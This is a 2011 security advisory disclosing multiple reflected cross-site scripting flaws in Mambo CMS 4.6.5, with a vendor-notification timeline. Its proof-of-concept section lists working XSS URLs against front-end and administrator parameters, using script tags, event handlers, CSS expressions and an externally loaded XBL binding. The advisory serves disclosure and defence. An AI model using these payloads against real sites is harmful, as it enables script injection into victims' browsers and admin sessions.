Monday, June 27, 2011

Mambo CMS 4.6.x (4.6.5) | Multiple Cross Site Scripting Vulnerabilities

Mambo CMS 4.6.x (4.6.5) | Multiple Cross Site Scripting Vulnerabilities


1. OVERVIEW
Mambo CMS 4.6.5 and lower versions are vulnerable to Cross Site Scripting.

2. BACKGROUND
Mambo is a full-featured, award-winning content management system that
can be used for everything from simple websites to complex corporate
applications. It is used all over the world to power government
portals, corporate intranets and extranets, ecommerce sites, nonprofit
outreach, schools, church, and community sites. Mambo's "power in
simplicity" also makes it the CMS of choice for many small businesses
and personal sites.

3. VULNERABILITY DESCRIPTION
Multiple parameters (task, menu, menutype, zorder, search, client,
section) are not properly sanitized, which allows attacker to conduct
Cross Site Scripting attack. This may allow an attacker to create a
specially crafted URL that would execute arbitrary script code in a
victim's browser.

4. VERSIONS AFFECTED
Tested on Mambo CMS 4.6.5 (current as of 2011-06-27)

5. PROOF-OF-CONCEPT/EXPLOIT

FrontEnd
==============
param: task
http://attacker.in/mambo/index.php?option=com_content&task=%22%20style=width:1000px;height:1000px;top:0;left:0;position:absolute%20onmouseover=alert%28/XSS/%29%20&id=3&Itemid=32

BackEnd
==========

param: menu

http://attacker.in/mambo/administrator/index2.php?option=com_menumanager&task=edit&hidemainmenu=1&menu=Move+your+mouse+here%22%20style=position:absolute;width:1000px;height:1000px;top:0;left:0;%20onmouseover=alert%28/XSS/%29%20


param: menutype [hidden form xss, esp in IE 6,7 and older versions of Firefox]

http://attacker.in/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS
http://attacker.in/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20%20%20style=background-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS

param: zorder

http://attacker.in/mambo/administrator/index2.php?limit=10&order%5b%5d=11&boxchecked=0&toggle=on&search=simple_search&task=&limitstart=0&cid%5b%5d=on&zorder=c.ordering+DESC"><script>alert(/XSS/)</script>&filter_authorid=62&hidemainmenu=0&option=com_typedcontent

param: search

http://attacker.in/mambo/administrator/index2.php?limit=10&boxchecked=0&toggle=on&search=xss"><script>alert(/XSS/)</script>&task=&limitstart=0&hidemainmenu=0&option=com_comment

param: client

http://attacker.in/mambo/administrator/index2.php?option=com_modules&client=%27%22%20onmouseover=alert%28/XSS/%29%20a=%22%27
NB: mouseover on "banner" link

param: section [hidden form xss, esp in IE 6,7 and older versions of Firefox]

http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3d-moz-binding:url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml%23xss)%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2
http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

6. SOLUTION
The vendor seems to discontinue the development. It is recommended to
use another CMS in active development.

7. VENDOR
Mambo CMS Development Team
http://mambo-developer.org

8. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

9. DISCLOSURE TIME-LINE
2010-11-31: notified vendor through bug tracker
2011-06-27: no patched version released up to date
2011-06-27: vulnerability disclosed

10. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[mambo4.6.x]_cross_site_scripting
Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5.zip

#yehg [2011-06-27]